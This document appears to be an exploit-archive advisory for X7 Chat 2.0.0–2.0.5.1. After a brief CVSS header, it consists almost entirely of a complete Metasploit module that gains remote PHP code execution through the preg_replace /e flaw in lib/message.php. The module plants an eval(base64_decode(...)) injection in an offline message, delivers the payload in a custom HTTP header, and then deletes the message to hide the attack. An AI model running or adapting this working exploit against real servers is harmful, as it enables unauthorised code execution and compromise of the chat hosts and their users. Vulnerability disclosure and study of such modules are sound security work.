X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution

2014-11-05 / 2014-11-29
Credit: Juan
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution', 'Description' => %q{ This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which uses preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine. }, 'License' => MSF_LICENSE, 'Author' => [ 'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco ], 'References' => [ # Using this URL because isn't nothing else atm ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Oct 27 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', '']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']), OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']), ], self.class) end def check res = exec_php('phpinfo(); die();', true) if res && res.body =~ /This program makes use of the Zend/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end def exec_php(php_code, is_check = false) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals) while Rex::Text.encode_base64(payload_clean) =~ /=/ payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }" cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }" rand_text = Rex::Text.rand_text_alpha_upper(5, 8) print_status("Trying for version 2.0.2 up to 2.0.5.1") print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => { 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", }, 'vars_get' => { # value compatible with 2.0.2 up to 2.0.5.1 'act' => 'user_cp', 'cp_page' => 'msgcenter', 'to' => datastore['USERNAME'], 'subject' => rand_text, 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }", } }) unless res && res.code == 200 print_error("Sending the message (#{ rand_text }) has failed") return false end if res.body =~ /([0-9]*)">#{ rand_text }/ message_id = Regexp.last_match[1] user_panel = 'user_cp' else print_error("Could not find message (#{ rand_text }) in the message list") print_status("Retrying for version 2.0.0 up to 2.0.1 a1") print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => { 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", }, 'vars_get' => { # value compatible with 2.0.0 up to 2.0.1 a1 'act' => 'usercp', 'cp_page' => 'msgcenter', 'to' => datastore['USERNAME'], 'subject' => rand_text, 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }", } }) unless res && res.code == 200 print_error("Sending the message (#{ rand_text }) has failed") return false end if res.body =~ /([0-9]*)">#{ rand_text }/ message_id = Regexp.last_match[1] user_panel = 'usercp' else print_error("Could not find message (#{ rand_text }) in the message list") return false end end print_status("Accessing message (#{ rand_text })") print_status("Sending payload in HTTP header '#{ rand_text }'") if is_check timeout = 20 else timeout = 3 end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => { 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", rand_text => payload_b64, }, 'vars_get' => { 'act' => user_panel, 'cp_page' => 'msgcenter', 'read' => message_id, } }, timeout) res_payload = res print_status("Deleting message (#{ rand_text })") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => { 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", }, 'vars_get' => { 'act' => user_panel, 'cp_page' => 'msgcenter', 'delete' => message_id, } }) if res && res.body =~ /The message has been deleted/ print_good("Message (#{ rand_text }) removed") else print_error("Removing message (#{ rand_text }) has failed") return false end # if check return the response if is_check return res_payload else return true end end def exploit unless exec_php(payload.encoded) fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.") end end end


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